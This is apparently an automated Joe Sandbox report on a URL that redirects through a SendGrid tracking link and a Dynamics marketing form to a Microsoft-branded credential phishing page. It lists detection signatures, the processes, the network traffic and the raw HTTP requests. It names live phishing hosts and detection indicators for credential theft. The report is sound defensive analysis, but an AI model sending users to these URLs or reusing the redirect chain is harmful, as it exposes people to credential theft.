Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
https://u44056869.ct.sendgrid.net/ls/click?upn=u001.nH1ryR-2Btr2av-2Bkfc8quLEXKlGRKFonctFf3nB-2FAP-2Bjae3IsQgCoKtK-2FQ57cEEmmhZzRyd07G16kQ6rsc4EaJT6S7Rh48kOVsBPHV-2Fkkk9Vfz7cojLOCLuj4sUGVMM7pbdmwtinmtiLhfYkhEkgve628OiJsccHyeYc3lkmkn6epsOmmj4-2Fi-2BWjxfm73m7vUzCOGnDWnQJBmmd6DmkDcfIw-3D-3DlLb9_7VBE-2B

Overview

General Information

Sample URL:	https://u44056869.ct.sendgrid.net/ls/click?upn=u001.nH1ryR-2Btr2av-2Bkfc8quLEXKlGRKFonctFf3nB-2FAP-2Bjae3IsQgCoKtK-2FQ57cEEmmhZzRyd07G16kQ6rsc4EaJT6S7Rh48kOVsBPHV-2Fkkk9Vfz7cojLOCLuj4sUGVMM7pbdmwtinmt
Analysis ID:	1430564
Infos:

Detection

HTMLPhisher

Score:	60
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected HtmlPhish10

HTML page contains suspicious base64 encoded javascript

Phishing site detected (based on image similarity)

Phishing site detected (based on logo match)

HTML body contains low number of good links

HTML body contains password input but no form action

HTML page contains hidden URLs or javascript code

HTML title does not match URL

Invalid T&C link found

Stores files to the Windows start menu directory

Uses insecure TLS / SSL version for HTTPS connection

Classification

×

Process Tree

System is w10x64

chrome.exe (PID: 5752 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6412 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2028 --field-trial-handle=1900,i,322101976962123545,3161144122731674671,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 4440 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://u44056869.ct.sendgrid.net/ls/click?upn=u001.nH1ryR-2Btr2av-2Bkfc8quLEXKlGRKFonctFf3nB-2FAP-2Bjae3IsQgCoKtK-2FQ57cEEmmhZzRyd07G16kQ6rsc4EaJT6S7Rh48kOVsBPHV-2Fkkk9Vfz7cojLOCLuj4sUGVMM7pbdmwtinmtiLhfYkhEkgve628OiJsccHyeYc3lkmkn6epsOmmj4-2Fi-2BWjxfm73m7vUzCOGnDWnQJBmmd6DmkDcfIw-3D-3DlLb9_7VBE-2BPKrWdDFE8TeQU0FNoYmRNt3BbsAfHCQfpyMVcUv91cWM1GbR6tMnpfVZqwoeCii1Z-2FHB6Wp4CGi-2FJ4Nq2flvhbRyRKwbWUqyssDslf87wBQZbBQ0EZsTXlvzjuj1ZnarL4QCJJlvUup-2FiM-2F9GPG6X3nhhKKp6sQ0v-2BBs5Jrrpzc3e5B2aUKKEJUx1Hjrx3xc16wmpK1HmM2sLiNIweMaJlJ9frDis7-2BK565mLw-3D" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

HTML

Source	Rule	Description	Author	Strings
3.5.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
4.6.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security

Sigma Signatures

⊘No Sigma rule has matched

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Phishing

Yara detected HtmlPhish10

Source: Yara match	File source: 3.5.pages.csv, type: HTML
Source: Yara match	File source: 4.6.pages.csv, type: HTML

HTML page contains suspicious base64 encoded javascript

Source: https://o5u7g.zleu9.com/O5u7Gw/

HTTP Parser: Base64 decoded: <script>

Phishing site detected (based on image similarity)

Source: https://o5u7g.zleu9.com/XhaQEKHwmqeXiuCbMVTRVruGRjRPRIDWFUPFICPEYZGBHMWGEVVPPBXVQDKEPFCXWUJ?MCFKKCTFWYSAEFPSCNVZQJIUBPpheTomFVBFOCNFEXHSGGZYDODQKSWFTPNMNKEYPKASTONRVGUROOMDEYM

Matcher: Found strong image similarity, brand: MICROSOFT

Phishing site detected (based on logo match)

Source: https://o5u7g.zleu9.com/XhaQEKHwmqeXiuCbMVTRVruGRjRPRIDWFUPFICPEYZGBHMWGEVVPPBXVQDKEPFCXWUJ?MCFKKCTFWYSAEFPSCNVZQJIUBPpheTomFVBFOCNFEXHSGGZYDODQKSWFTPNMNKEYPKASTONRVGUROOMDEYM	Matcher: Template: microsoft matched
Source: https://o5u7g.zleu9.com/XhaQEKHwmqeXiuCbMVTRVruGRjRPRIDWFUPFICPEYZGBHMWGEVVPPBXVQDKEPFCXWUJ?MCFKKCTFWYSAEFPSCNVZQJIUBPpheTomFVBFOCNFEXHSGGZYDODQKSWFTPNMNKEYPKASTONRVGUROOMDEYM#	Matcher: Template: microsoft matched

Source: https://o5u7g.zleu9.com/XhaQEKHwmqeXiuCbMVTRVruGRjRPRIDWFUPFICPEYZGBHMWGEVVPPBXVQDKEPFCXWUJ?MCFKKCTFWYSAEFPSCNVZQJIUBPpheTomFVBFOCNFEXHSGGZYDODQKSWFTPNMNKEYPKASTONRVGUROOMDEYM

HTTP Parser: Number of links: 0

Source: https://o5u7g.zleu9.com/XhaQEKHwmqeXiuCbMVTRVruGRjRPRIDWFUPFICPEYZGBHMWGEVVPPBXVQDKEPFCXWUJ?MCFKKCTFWYSAEFPSCNVZQJIUBPpheTomFVBFOCNFEXHSGGZYDODQKSWFTPNMNKEYPKASTONRVGUROOMDEYM

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: https://o5u7g.zleu9.com/O5u7Gw/

HTTP Parser: Base64 decoded: <!DOCTYPE html><html lang="en"><head> <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script> <script src="https://challenges.cloudflare.com/turnstile/v0/api.js?render=explicit"></script> <meta http-equiv="X-UA-Compatible" c...

Source: https://o5u7g.zleu9.com/XhaQEKHwmqeXiuCbMVTRVruGRjRPRIDWFUPFICPEYZGBHMWGEVVPPBXVQDKEPFCXWUJ?MCFKKCTFWYSAEFPSCNVZQJIUBPpheTomFVBFOCNFEXHSGGZYDODQKSWFTPNMNKEYPKASTONRVGUROOMDEYM

HTTP Parser: Title: BgGaKKKcrg does not match URL

Source: https://o5u7g.zleu9.com/XhaQEKHwmqeXiuCbMVTRVruGRjRPRIDWFUPFICPEYZGBHMWGEVVPPBXVQDKEPFCXWUJ?MCFKKCTFWYSAEFPSCNVZQJIUBPpheTomFVBFOCNFEXHSGGZYDODQKSWFTPNMNKEYPKASTONRVGUROOMDEYM	HTTP Parser: Invalid link: Terms of use
Source: https://o5u7g.zleu9.com/XhaQEKHwmqeXiuCbMVTRVruGRjRPRIDWFUPFICPEYZGBHMWGEVVPPBXVQDKEPFCXWUJ?MCFKKCTFWYSAEFPSCNVZQJIUBPpheTomFVBFOCNFEXHSGGZYDODQKSWFTPNMNKEYPKASTONRVGUROOMDEYM	HTTP Parser: Invalid link: Privacy & cookies

Source: https://o5u7g.zleu9.com/XhaQEKHwmqeXiuCbMVTRVruGRjRPRIDWFUPFICPEYZGBHMWGEVVPPBXVQDKEPFCXWUJ?MCFKKCTFWYSAEFPSCNVZQJIUBPpheTomFVBFOCNFEXHSGGZYDODQKSWFTPNMNKEYPKASTONRVGUROOMDEYM

HTTP Parser: <input type="password" .../> found

Source: https://assets-usa.mkt.dynamics.com/4df527c8-5afd-ee11-9048-000d3a10682d/digitalassets/standaloneforms/845fbd3d-a401-ef11-a1fd-7c1e521c0288	HTTP Parser: No favicon
Source: https://assets-usa.mkt.dynamics.com/4df527c8-5afd-ee11-9048-000d3a10682d/digitalassets/standaloneforms/845fbd3d-a401-ef11-a1fd-7c1e521c0288	HTTP Parser: No favicon
Source: https://o5u7g.zleu9.com/O5u7Gw/	HTTP Parser: No favicon
Source: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/tbxob/0x4AAAAAAAXj4ylnvzeCbeUc/auto/normal	HTTP Parser: No favicon
Source: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/tbxob/0x4AAAAAAAXj4ylnvzeCbeUc/auto/normal	HTTP Parser: No favicon
Source: https://o5u7g.zleu9.com/XhaQEKHwmqeXiuCbMVTRVruGRjRPRIDWFUPFICPEYZGBHMWGEVVPPBXVQDKEPFCXWUJ?MCFKKCTFWYSAEFPSCNVZQJIUBPpheTomFVBFOCNFEXHSGGZYDODQKSWFTPNMNKEYPKASTONRVGUROOMDEYM	HTTP Parser: No favicon

Source: https://o5u7g.zleu9.com/XhaQEKHwmqeXiuCbMVTRVruGRjRPRIDWFUPFICPEYZGBHMWGEVVPPBXVQDKEPFCXWUJ?MCFKKCTFWYSAEFPSCNVZQJIUBPpheTomFVBFOCNFEXHSGGZYDODQKSWFTPNMNKEYPKASTONRVGUROOMDEYM

HTTP Parser: No <meta name="author".. found

Source: https://o5u7g.zleu9.com/XhaQEKHwmqeXiuCbMVTRVruGRjRPRIDWFUPFICPEYZGBHMWGEVVPPBXVQDKEPFCXWUJ?MCFKKCTFWYSAEFPSCNVZQJIUBPpheTomFVBFOCNFEXHSGGZYDODQKSWFTPNMNKEYPKASTONRVGUROOMDEYM

HTTP Parser: No <meta name="copyright".. found

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:49733 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 23.46.214.6:443 -> 192.168.2.5:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.46.214.6:443 -> 192.168.2.5:49720 version: TLS 1.2

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:49733 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.46.214.6
Source: unknown	TCP traffic detected without corresponding DNS query: 23.46.214.6
Source: unknown	TCP traffic detected without corresponding DNS query: 23.46.214.6
Source: unknown	TCP traffic detected without corresponding DNS query: 23.46.214.6
Source: unknown	TCP traffic detected without corresponding DNS query: 23.46.214.6
Source: unknown	TCP traffic detected without corresponding DNS query: 23.46.214.6
Source: unknown	TCP traffic detected without corresponding DNS query: 23.46.214.6
Source: unknown	TCP traffic detected without corresponding DNS query: 23.46.214.6
Source: unknown	TCP traffic detected without corresponding DNS query: 23.46.214.6
Source: unknown	TCP traffic detected without corresponding DNS query: 23.46.214.6
Source: unknown	TCP traffic detected without corresponding DNS query: 23.46.214.6
Source: unknown	TCP traffic detected without corresponding DNS query: 23.46.214.6
Source: unknown	TCP traffic detected without corresponding DNS query: 23.46.214.6
Source: unknown	TCP traffic detected without corresponding DNS query: 23.46.214.6
Source: unknown	TCP traffic detected without corresponding DNS query: 23.46.214.6
Source: unknown	TCP traffic detected without corresponding DNS query: 23.46.214.6
Source: unknown	TCP traffic detected without corresponding DNS query: 23.46.214.6
Source: unknown	TCP traffic detected without corresponding DNS query: 23.46.214.6
Source: unknown	TCP traffic detected without corresponding DNS query: 23.46.214.6
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /ls/click?upn=u001.nH1ryR-2Btr2av-2Bkfc8quLEXKlGRKFonctFf3nB-2FAP-2Bjae3IsQgCoKtK-2FQ57cEEmmhZzRyd07G16kQ6rsc4EaJT6S7Rh48kOVsBPHV-2Fkkk9Vfz7cojLOCLuj4sUGVMM7pbdmwtinmtiLhfYkhEkgve628OiJsccHyeYc3lkmkn6epsOmmj4-2Fi-2BWjxfm73m7vUzCOGnDWnQJBmmd6DmkDcfIw-3D-3DlLb9_7VBE-2BPKrWdDFE8TeQU0FNoYmRNt3BbsAfHCQfpyMVcUv91cWM1GbR6tMnpfVZqwoeCii1Z-2FHB6Wp4CGi-2FJ4Nq2flvhbRyRKwbWUqyssDslf87wBQZbBQ0EZsTXlvzjuj1ZnarL4QCJJlvUup-2FiM-2F9GPG6X3nhhKKp6sQ0v-2BBs5Jrrpzc3e5B2aUKKEJUx1Hjrx3xc16wmpK1HmM2sLiNIweMaJlJ9frDis7-2BK565mLw-3D HTTP/1.1Host: u44056869.ct.sendgrid.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /4df527c8-5afd-ee11-9048-000d3a10682d/digitalassets/standaloneforms/845fbd3d-a401-ef11-a1fd-7c1e521c0288 HTTP/1.1Host: assets-usa.mkt.dynamics.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /usa/FormLoader/FormLoader.bundle.js HTTP/1.1Host: cxppusa1formui01cdnsa01-endpoint.azureedge.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://assets-usa.mkt.dynamics.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /4df527c8-5afd-ee11-9048-000d3a10682d/digitalassets/forms/845fbd3d-a401-ef11-a1fd-7c1e521c0288 HTTP/1.1Host: assets-usa.mkt.dynamics.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: text/plainsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://assets-usa.mkt.dynamics.com/4df527c8-5afd-ee11-9048-000d3a10682d/digitalassets/standaloneforms/845fbd3d-a401-ef11-a1fd-7c1e521c0288Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /usa/FormLoader/public/locales/en-us/translation.json HTTP/1.1Host: cxppusa1formui01cdnsa01-endpoint.azureedge.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://assets-usa.mkt.dynamics.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://assets-usa.mkt.dynamics.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: assets-usa.mkt.dynamics.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://assets-usa.mkt.dynamics.com/4df527c8-5afd-ee11-9048-000d3a10682d/digitalassets/standaloneforms/845fbd3d-a401-ef11-a1fd-7c1e521c0288Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /usa/FormLoader/public/locales/en-us/translation.json HTTP/1.1Host: cxppusa1formui01cdnsa01-endpoint.azureedge.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /4df527c8-5afd-ee11-9048-000d3a10682d/digitalassets/images/1cf4ecdd-c500-ef11-a1fd-7c1e521c0288?ts=638494003333783206 HTTP/1.1Host: assets-usa.mkt.dynamics.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /4df527c8-5afd-ee11-9048-000d3a10682d/digitalassets/forms/845fbd3d-a401-ef11-a1fd-7c1e521c0288 HTTP/1.1Host: assets-usa.mkt.dynamics.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /4df527c8-5afd-ee11-9048-000d3a10682d/digitalassets/images/1cf4ecdd-c500-ef11-a1fd-7c1e521c0288?ts=638494003333783206 HTTP/1.1Host: assets-usa.mkt.dynamics.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/v1.0/orgs/4df527c8-5afd-ee11-9048-000d3a10682d/landingpageforms/forms/845fbd3d-a401-ef11-a1fd-7c1e521c0288/visits HTTP/1.1Host: public-usa.mkt.dynamics.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /O5u7Gw/ HTTP/1.1Host: o5u7g.zleu9.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/v1.0/orgs/4df527c8-5afd-ee11-9048-000d3a10682d/landingpageforms/forms/845fbd3d-a401-ef11-a1fd-7c1e521c0288 HTTP/1.1Host: public-usa.mkt.dynamics.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://o5u7g.zleu9.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/api.js?render=explicit HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://o5u7g.zleu9.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/b/471dc2adc340/api.js?render=explicit HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://o5u7g.zleu9.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/tbxob/0x4AAAAAAAXj4ylnvzeCbeUc/auto/normal HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://o5u7g.zleu9.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=879066af2d254527 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/tbxob/0x4AAAAAAAXj4ylnvzeCbeUc/auto/normalAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/tbxob/0x4AAAAAAAXj4ylnvzeCbeUc/auto/normalAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
